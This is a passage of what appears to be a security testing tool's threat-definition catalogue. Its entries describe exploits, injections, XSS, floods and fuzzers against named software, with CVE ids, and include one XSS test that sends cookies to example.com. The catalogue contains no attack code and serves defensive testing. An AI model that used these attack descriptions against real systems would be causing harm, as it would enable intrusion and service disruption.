Executive Description:	AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow Vulnerability (POC) (IPv6 Version)
Detailed Description:	This threat uses a large buffer sent to a vulnerable TFTP server triggering a buffer overflow or denial of service condition. AT-TFTP is a TFTP server that typically listens on udp port 69. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080603-04_Alt-N_MDaemon_WorldClient_Service_Memory_Corruption.xml
Executive Description:	Alt-N MDAemon WorldClient Service Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Alt-N Technologies MDAemon WorldClient. The vulnerability is due to a NULL pointer dereference in processing a malicious HTTP POST request. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the target server, causing the server to crash thereby resulting in a denial of service.
Protocol Type:	HBCI
CVEID:	CVE-2008-2631
Threat Package:	Standard
Threat File Name:	FSC20061212-06_Microsoft_Windows_SNMP_Service_Memory_Corruption.xml
Executive Description:	Microsoft Windows SNMP Service Memory Corruption
Detailed Description:	There exists a remote code execution vulnerability in the Microsoft Windows SNMP service. The flaw is caused by incorrect processing of specially crafted SNMP messages. A remote attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable system within the security context of the affected service, normally System. If an attack attempt is either unsuccessful in diverting the process flow or is meant to create a denial of service condition, then the affected service will terminate. In a more sophisticated attack, where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the System account.
Protocol Type:	SNMP
CVEID:	CVE-2006-5583
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_NETASCII_formats_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_NETASCII_formats.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %s to netascii with ranging sizes. OpCode is RRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20150512-33_Microsoft_Windows_VBScript_Regular_Expression_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows VBScript Regular Expression Information Disclosure IPv6 version
Detailed Description:	An information disclosure vulnerability exists in the Microsoft's VBScript engine. The vulnerability is due an error while processing regular expressions which allows a user to disclose memory contents of the current process. By enticing a user to open a web page, an attacker could exploit this vulnerability to bypass the ASLR security feature which can be used to facilitate further attacks.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2015-1684
Threat File Name:	msie_activex_dos_IPv6.xml
Executive Description:	Microsoft Internet Explorer Structured Graphics Control Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious HTTP server reply to cause a denial-of-service condition in a MSIE 6 triggered by a malicious ActiveX control. Microsoft Internet Explorer 6 is a web browser that typically connects to a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	26839
Threat Package:	Standard
Threat File Name:	sap_waecho_IPv6.xml
Executive Description:	SAP WebAgent Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a HTTP GET request that causes the waecho URL in SAP WebAgent to crash. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0944
OSVDB:	3084
Threat Package:	Standard
Threat File Name:	FSC20101012-26_Microsoft_Office_Excel_PtgExtraArray_Structure_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Excel PtgExtraArray Structure Parsing Memory Corruption (IPV6 VERSION)

Detailed Description:	A memory corruption vulnerability exists in Microsoft Excel. The vulnerability occurs when parsing and validating PtgExtraArray structure within Formulas records in Excel files. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6, HTTP, HTTPS, IMAP, POP3, SMB/CIFS, SMTP
CVEID:	CVE-2010-3231
Threat File Name:	linksys_blank_get.xml
Executive Description:	Linksys WRT54G Blank HTTP GET
Detailed Description:	This threat sends a blank HTTP GET request, causing some Linksys routers to freeze and require a hard reboot in order to return to functioning order.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20091005-01_IBM_Informix_Client_SDK_NFX_File_Processing_Stack_Buffer_Overflow.xml
Executive Description:	IBM Informix Client SDK NFX File Processing Stack Buffer Overflow
Detailed Description:	A code execution vulnerability has been reported to exist in IBM Informix Client SDK. The vulnerability is due to an stack buffer overflow when processing ".nfx" files which contain an overly long "HostList" entry. In a successful attack scenario, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
Threat Package:	Standard
Threat File Name:	aardvarktopsites_cmi_b.xml
Executive Description:	Aardvark Topsites PHP 4.2.2 Remote Command Execution
Detailed Description:	This threat leverages an arbitrary file inclusion flaw into a remote command execution flaw through a flaw in the lostpw.php script. Aardvark Topsites is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170206-06_LibTIFF_tiffcrop_Integer_Overflow_IPv6.xml
Executive Description:	LibTIFF tiffcrop Integer Overflow (IPv6 Version)
Detailed Description:	An out-of-bounds write vulnerability exists in LibTIFF tiffcrop component. The vulnerability is due to the integer overflow when calculating the size of the image data from the maliciously crafted TIFF image file. A remote attacker could exploit this vulnerability by sending maliciously crafted image files to an application that processes images with the LibTIFF library. Successful exploitation of this vulnerability could lead to denial of service conditions or, in the worst case, arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2016-9537
Threat File Name:	barman_rfi.xml
Executive Description:	Barman 0.0.1r3 (interface.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Barman is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	firefox_hyphen_IPv6.xml
Executive Description:	Firefox Hyphen Hyperlink Denial of Service (IPv6 Version)
Detailed Description:	This threat causes the Mozilla Firefox web browser to crash by copying memory out of bounds. This can lead to a denial of service condition, and possibly remote code execution. This attack comes from web servers, which typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2871
OSVDB:	19255
Threat Package:	Standard
Threat File Name:	hp_ignite_tftp.xml
Executive Description:	HP Ignite-UX TFTP passwd Download
Detailed Description:	This threat issues a TFTP request for a password file that the HP Ignite application can inadvertently expose. The TFTP request is for the file /var/opt/ignite/recovery/passwd.makrec. TFTP typically uses UDP port 69.
Protocol Type:	TFTP
CVEID:	CVE-2004-0951
OSVDB:	18749
Threat Package:	Standard
Threat File Name:	fullaspsite_asp_sql_i_IPv6.xml
Executive Description:	Fullaspsite Asp Hosting SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Fullaspsite ASP Hosting is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090402-10_Microsoft_Office_PowerPoint_Invalid_Object_Reference_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office PowerPoint Invalid Object Reference Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office PowerPoint. The flaw is due to accessing invalid object in malicious PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0556

Threat Package:	Standard
Threat File Name:	wizzforum_sqli2_IPv6.xml
Executive Description:	Wizz Forum SQL Injection vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Wizz Forum is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3682
OSVDB:	20846
Threat Package:	Standard
Threat File Name:	TSL20160907-03_Adobe_Flash_Player_Rectangle_Use_After_Free_IPv6.xml
Executive Description:	Adobe Flash Player Rectangle Use After Free (IPv6 Version)
Detailed Description:	A use-after-free vulnerability has been reported in Adobe Flash Player. This vulnerability is due to incorrect handling of objects in memory when creating and manipulating Rectangle objects in memory. A remote, unauthenticated attacker could exploit these vulnerabilities by enticing a victim user to open a maliciously crafted SWF file. Successful exploitation allows the attacker to execute arbitrary code under the security context of the user.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-4228
Threat File Name:	TSL20120131-04_Oracle_Outside_In_JPEG_2000_COD_and_COC_Parameter_Heap_Buffer_Overflow.xml
Executive Description:	Oracle Outside In JPEG 2000 COD and COC Parameter Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside In, a set of libraries used to decode many file formats. The vulnerability is exposed when the product is used to handle JPEG 2000 files. Oracle Outside In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed JPEG 2000 file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2011-4516
Threat File Name:	TSL20110427-05_Cisco_Unified_Communications_Manager_Multiple_SQL_Injections_IPv6.xml
Executive Description:	Cisco Unified Communications Manager Multiple SQL Injections(IPv6 Version)
Detailed Description:	Multiple SQL injection vulnerabilities exist within Cisco Unified Communications Manager. These vulnerabilities could be exploited by remote attackers to conduct SQL injection attacks on the server. A remote, unauthenticated attacker can exploit this vulnerability to disclose sensitive information.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1610
Threat File Name:	oracle_web_plsql_1.xml
Executive Description:	Oracle PLSQL Bypass Attack One
Detailed Description:	This threat bypasses the Oracle PLSQL gateway by supplying an encoded new line character in the URL. This allows a user to access any system tables in the database server. Oracle PLSQL is a web application, that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20080118-02_Nullsoft_Winamp_Ultravox_Streaming_Metadata_Parsing_Stack_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp Ultravox Streaming Metadata Parsing Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Nullsoft Winamp Player. The vulnerability is due to boundary errors when parsing metadata in Ultravox streaming protocol. An attacker may exploit the vulnerability by enticing a user to visit a malicious server with the affected product, resulting in execution of arbitrary code on the target host within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected application may terminate upon processing of the malicious Ultravox Streaming Metadata. In a more sophisticated attack, where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the currently logged in user. Tester should turn variable \$destPort into 8090 before test.
Protocol Type:	Ultravox Stream Protocol (HTTP-based)
CVEID:	CVE-2008-0065
OSVDB:	41707
Threat File Name:	vignette_IPv6.xml
Executive Description:	Vignette Application Portal diagnostic access (IPv6 Version)
Detailed Description:	This threat attempts to access developer information from the Vignette application portal software. The software does not have access control restrictions by default, allowing anyone to view the details of how the application is structured. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0917
OSVDB:	10405
Threat Package:	Standard
Threat File Name:	FSC20040921-01_Ipswitch_WhatsUp_Gold_DOS_Device_HTTP_Request_Denial_of_Service_IPv6.xml
Executive Description:	Ipswitch WhatsUp Gold DOS Device HTTP Request Denial of Service (IPv6 Version)
Detailed Description:	A vulnerability exists in the way the web server component of Ipswitch WhatsUp Gold processes a request that contains a special device name. An unhandled exception occurs when an HTTP request containing a reserved DOS device name is processed. An attacker exploiting this vulnerability can cause the web server component to terminate, causing a denial of service. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0799
Threat Package:	Standard
Threat File Name:	FSC20100326-08_Apple_Safari_CSS_format_Argument_Handling_Memory_Corruption.xml
Executive Description:	Apple Safari CSS format Argument Handling Memory Corruption

Detailed Description:	A memory corruption vulnerability exists in Apple Safari. The vulnerability is due to an error while processing CSS format arguments. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious web page with a vulnerable application. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally, leading to a denial of service condition.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0046
Threat Package:	Standard
Threat File Name:	secsuite_ip-logger_rfi_IPv6.xml
Executive Description:	Security Suite IP Logger Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Berlios Security Suite is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5224
Threat Package:	Standard
Threat File Name:	easymail_emsmtplib_activex_bof.xml
Executive Description:	EasyMail Objects EMSMTPLIB.DLL ActiveX Control Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the EasyMail Objects (EMSMTPLIB.DLL) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20040329-01_eSignal_Buffer_Overflow.xml
Executive Description:	eSignal Buffer Overflow
Detailed Description:	A buffer overflow exists in eSignal, a real-time market data and support tool. The vulnerability allows remote attackers to execute arbitrary code on vulnerable systems.
Protocol Type:	HTTP
CVEID:	CVE-2004-1868
Threat Package:	Standard
Threat File Name:	originSpoof_IPv6.xml
Executive Description:	Javascript Popup Fishing (IPv6 Version)
Detailed Description:	This threat sends a portion of HTML that creates a popup window over a target web page, attempting to cause the user to send their login details to the wrong site. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2268
OSVDB:	17397
Threat Package:	Standard
Threat File Name:	TSL20121204-02_Opera_Software_Opera_GIF_Processing_Memory_Corruption_IPv6.xml
Executive Description:	Opera Software Opera GIF Processing Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Opera. The vulnerability is caused by a heap buffer underflow while processing GIF files with a crafted LZW stream. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted GIF file. Successful exploitation could possibly allow code execution under the security context of the current user. The vendor has released no security advisory regarding this issue at the time of writing
Protocol Type:	IPV6, HTTP, HTTPS
OSVDB:	88101
Threat File Name:	TSL20120404-07_Cisco_WebEx_Recording_Format_Player_atas32_dll_Integer_Overflow.xml
Executive Description:	Cisco WebEx Recording Format Player atas32.dll Integer Overflow
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to an integer overflow leading to a heap buffer overflow when processing WRF files. A remote unauthenticated attacker can leverage this vulnerability by crafting a WRF file and enticing the target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the currently logged on user.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2012-1336
OSVDB:	81105
Threat File Name:	TSL20110708-06_FreeType_PostScript_Type1_Font_Parsing_Code_Execution.xml
Executive Description:	FreeType PostScript Type1 Font Parsing Code Execution
Detailed Description:	A code execution vulnerability has been reported in the FreeType font engine. The vulnerability is due to improper validation of the argument count parameter passed to the PostScript operation call othersubr, which can lead to a stack buffer overflow. A remote attacker can entice a target user to download a malicious PostScript or PDF file, and leverage this vulnerability to execute arbitrary code.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS
CVEID:	CVE-2011-0226
Threat File Name:	fuzz-HTTP_AppendformatnToCONNECT.xml
Executive Description:	Fuzz HTTP CONNECT appended with %n
Detailed Description:	Fuzzes the Method field by appending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20090113-23_Oracle_Secure_Backup_Administration_Server_login.php_Cookies_Command_Injection.xml
Executive Description:	Oracle Secure Backup Administration Server login.php Cookies Command Injection

Detailed Description:	There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to CGI program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4006
Threat Package:	Standard
Threat File Name:	ipv6_fin_flood.xml
Executive Description:	FIN Flood IPv6
Detailed Description:	This threat is an IPv6 version of a FIN flood.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20090811-10_Microsoft_Windows_WINS_Service_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows WINS Service Heap Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows that can allow remote attackers to execute arbitrary code on the target system. The vulnerability is due to insufficient validation of certain values in a WINS network packet that could allow for overflowing a heap based buffer. In the case where code injection and execution is successful, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with the SYSTEM privileges of the WINS service.
Protocol Type:	WINS Replication Protocol
CVEID:	CVE-2009-1923
Threat Package:	Standard
Threat File Name:	setslice_IPv6.xml
Executive Description:	Internet Explorer Set Slice Exploit (IPv6 Version)
Detailed Description:	This threat causes a flaw in Microsoft's Internet Explorer. It affects the WebViewFolderIcon ActiveX object. This attack would typically come from a malicious webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3730
OSVDB:	27110
Threat Package:	Standard
Threat File Name:	dreamftp_bof_IPv6.xml
Executive Description:	BolinTech DreamFTP USER buffer overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat crashes vulnerable DreamFTP when an excessively large USER string issued from a client.DreamFTP Server is an ftp server that typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2004-027
OSVDB:	4986
Threat Package:	Standard
Threat File Name:	TSL20140312-03_SpringSource_Spring_Framework_Jaxb2RootElementHttpMessageConverter_XML_External_Entity.xml
Executive Description:	SpringSource Spring Framework Jaxb2RootElementHttpMessageConverter XML External Entity
Detailed Description:	An XML external entity vulnerability exists in SpringSource Spring Framework. The vulnerability is due to incorrectly configured XML parsing in Jaxb2RootElementHttpMessageConverter, which accepts XML external entities from untrusted sources. This vulnerability is due to an incomplete fix for CVE-2013-4152 and CVE-2013-6429. A remote, unauthenticated attacker can leverage this vulnerability by sending a malicious request to the target server. Successful exploitation would result in the disclosure of information from arbitrary files available in the security context of the server application, server-side request forgery, denial of service and potentially policy bypass.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0054
OSVDB:	104389
Threat File Name:	FSC20080828-03_Red_Hat_Directory_Server_Accept-Language_HTTP_Header_Parsing_Buffer_Overflow.xml
Executive Description:	Red Hat Directory Server Accept-Language HTTP Header Parsing Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Red Hat Directory Server. The flaw is due to improper data validation in the Administrator Web Interface component. A remote attacker can trigger this vulnerability by sending crafted HTTP request to the affected service, potentially inject and execute arbitrary code with root level privileges.
Protocol Type:	TCP
CVEID:	CVE-2008-2928
Threat Package:	Standard
Threat File Name:	FSC20080609-04_Novell_GroupWise_Messenger_HTTP_Response_Handling_Stack_Overflow.xml
Executive Description:	Novell GroupWise Messenger HTTP Response Handling Stack Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell GroupWise Messenger product. The flaw is due to improper handling of crafted HTTP responses. An unauthenticated remote attacker can exploit this vulnerability by sending spoofed HTTP responses to the target host. Successful attack could allow for arbitrary code execution with privileges of the currently logged in user. In an attack case where code injection is not successful, the affected application will terminate. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-2703
Threat Package:	Standard
Threat File Name:	cahier_de_textes_sqli_IPv6.xml
Executive Description:	Cahier De Textes SQL Injection Vulnerability (IPv6 Version)

Detailed Description:	his threat sends a crafted URL that contains an SQL query which is executed by the server. Cahier De Textes an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5221
Threat Package:	Standard
Threat File Name:	TSL20070302-05_Mozilla_Browsers_JavaScript_Argument_Passing_Code_Execution_Vulnerability_IPv6.xml
Executive Description:	Mozilla Browsers JavaScript Argument Passing Code Execution Vulnerability(IPV6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Foundation's family of browser products. The vulnerability is due to an error when processing certain malformed or specially crafted JavaScript code. Successful exploitation of this issue causes a denial of service condition and allows remote attackers to execute arbitrary code in the context of the target browser. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack where code injection results is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2007-0777
Threat File Name:	TSL20160712-24_Microsoft_Edge_CVE-2016-3244_Information_Disclosure.xml
Executive Description:	Microsoft Edge CVE-2016-3244 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Edge. The vulnerability is due to improper implementation of Address Space Layout Randomization (ASLR). A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted web page. Successful exploitation of this vulnerability could allow the attacker to bypass ASLR protection that may help in further attacks.
Protocol Type:	HTTP
CVEID:	CVE-2016-3244
Threat File Name:	firefox ftp_dos_IPv6.xml
Executive Description:	Mozilla Firefox FTP Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious ftp server reply to crash vulnerable Firefox browsers. Firefox is a web browser that connects to http and ftp servers which typically listen on ports 80 and 21 respectively. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-4310
Threat Package:	Standard
Threat File Name:	NOOPtcpHP-UNIX2_IPv6.xml
Executive Description:	TCP NOOP Packet Variant HP-UNIX 2 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	hrsTomcat_IPv6.xml
Executive Description:	HTTP Request Smuggling Credential Hijack (IPv6 Version)
Detailed Description:	This threat attempts to redirect a user to a different webpage than what they originally requested, using their credentials. This threat would normally be targeted at a proxy port or port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2090
OSVDB:	17738
Threat Package:	Standard
Threat File Name:	TSL20131101-10_HP_LoadRunner_Virtual_User_Generator_EmulationAdmin_Two_Directory_Traversal.xml
Executive Description:	HP LoadRunner Virtual User Generator EmulationAdmin Two Directory Traversal
Detailed Description:	Two directory traversal vulnerabilities exist in HP LoadRunner Virtual User Generator. The vulnerabilities exist in the EmulationAdmin web service. The vulnerabilities are due to insufficient validation on the parameters of copyFileToServer and getFileContentAsLines methods. A remote unauthenticated attacker can exploit these vulnerabilities to create arbitrary files on the server or disclose sensitive information by reading arbitrary files on the server. Successful exploitation of one of these vulnerabilities could lead to arbitrary code execution on the target system.
Protocol Type:	SOAP/HTTP
CVEID:	CVE-2013-4837
OSVDB:	99231
Threat File Name:	rsa_webagent_IPv6.xml
Executive Description:	RSA WebAgent Heap Overflow (IPv6 Version)
Detailed Description:	This threat causes a heap overflow in the RSA SecurID Web Agent. This leads to potential remote code execution with the privileges of the webserver. Webservers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1471
OSVDB:	20151
Threat Package:	Standard
Threat File Name:	awstatsXSS.xml
Executive Description:	AWStats Referer XSS
Detailed Description:	This threat sends a crafted HTTP Request with the referrer field containing a double quote ". This double quote is escaped in C fashion when displayed on page, allowing an event handle to be created inside of the hyperlink. This threat will specifically attempt to forward cookie information to example.com.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	linkbank.xml

Executive Description:	Link Bank iframe.php XSS
Detailed Description:	This threat sends a specially crafted HTTP request that triggers a cross-site scripting condition in Link Bank. This can allow an attacker to steal session and cookie information. Link Bank is a web application and is accessed via a web server, which typically listens on TCP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150302-04_SAP_SQL_Anywhere_NET_Malformed_Integer_Buffer_Overflow.xml
Executive Description:	SAP SQL Anywhere .NET Malformed Integer Buffer Overflow.
Detailed Description:	A buffer overflow vulnerability exists in SAP SQL Anywhere .NET Data Provider. The vulnerability is caused by insufficient boundary checks in the handling of malformed integers. If an application allows untrusted input to be used as an integer constant in an SQL query, by sending crafted requests to the application, an attacker can overflow a stack-based buffer. This could possibly lead to arbitrary code execution in the context of the application.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-9264
OSVDB:	115627
Threat File Name:	powerpointviewer_ocx_dos.xml
Executive Description:	PowerPoint Viewer OCX 3.2 (ActiveX Control) Denial of Service Exploit
Detailed Description:	This threat executes a denial of service against the powerpoint viewer OCX by setting the OpenWebFile argument to an excessively long value. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	selectapix_sqli.xml
Executive Description:	SelectaPix SQL Injection
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. SelectaPix is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-2912
Threat Package:	Standard
Threat File Name:	TSL20121217-02_RealNetworks_RealPlayer_URL_Parsing_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer URL Parsing Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in RealNetworks RealPlayer. The vulnerability is due to insufficient sanitation of the URLs while parsing RealMedia files. An attacker can exploit this vulnerability by enticing a user to open a specially crafted Microsoft .url file, possibly embedded in a web page, that has an extension associated with RealPlayer such as .ram or .ra, with the affected application. Successful exploitation can result in arbitrary code execution in the context of the currently logged in user. Unsuccessful exploitation could result in the application terminating abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-5691
OSVDB:	88486
Threat File Name:	TSL20140815-05_Attachmate_Reflection_FTP_Client_ActiveX_GetGlobalSettings_Memory_Corruption.xml
Executive Description:	Attachmate Reflection FTP Client ActiveX GetGlobalSettings Memory Corruption
Detailed Description:	A memory corruption vulnerability has been found in Attachmate Reflection FTP Client. The vulnerability is due to an attempt to dereference user-controllable parameter input.A remote, unauthenticated attacker could exploit this vulnerability by enticing a user to visit a malicious page. Successful exploitation could lead to arbitrary code execution under the security context of the browser.
Protocol Type:	HTTP
CVEID:	CVE-2014-0603
OSVDB:	109761
Threat File Name:	gxine_bof.xml
Executive Description:	Gxine HTTP Plugin Remote Buffer Overflow
Detailed Description:	This threat proves a buffer overflow condition that exists in the HTTP-Plugin for Gxine. A malicious HTTP server can send a very large buffer to the gxine client and exploiting the HTTP-Plugin that handles the connection. Gxine is a multimedia application.
Protocol Type:	HTTP
CVEID:	CVE-2006-2802
Threat Package:	Standard
Threat File Name:	speedberg_rfi.xml
Executive Description:	Speedberg <= 1.2beta1 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Speedberg is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5485
Threat Package:	Standard
Threat File Name:	portscanNull_IPv6.xml
Executive Description:	Portscan: Null (IPv6 Version)
Detailed Description:	This threat mimics the behaviour of a Null port scan. A Null scan is packet without any bits set. A proper response should be a RST packet for closed ports, and no reply for open ports. This behaviour can change depending on operating systems and their implementation of the TCP/IP stack. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	ms07-004.xml
Executive Description:	MS07-004 Microsoft VML Parser Attack
Detailed Description:	This attack causes an integer overflow in the VML parser of Internet Explorer. It comes from the virtual server in the form of a malicious webpage.
Protocol Type:	HTTP

CVEID:	CVE-2007-0024
Threat Package:	Standard
Threat File Name:	TSL20140520-08_Cogent_DataHub_Web_Server_GetPermissions.asp_Command_Injection.xml
Executive Description:	Cogent DataHub Web Server GetPermissions.asp Command Injection
Detailed Description:	A remote command injection vulnerability has been reported in Cogent DataHub. The vulnerability is due to insufficient validation within the GetPermissions.asp page. A remote attacker can exploit this vulnerability by submitting a maliciously crafted request to GetPermissions.asp. This can result in arbitrary command execution on the vulnerable system.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3789
OSVDB:	107097
Threat File Name:	efiction_sqli_IPv6.xml
Executive Description:	eFiction authors.php SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query that is executed by the server. eFiction is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4169
OSVDB:	21120
Threat File Name:	TSL20120405-04_Netop_Remote_Control_dws_File_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Netop Remote Control dws File Stack Buffer Overflow(IPV6 Version)
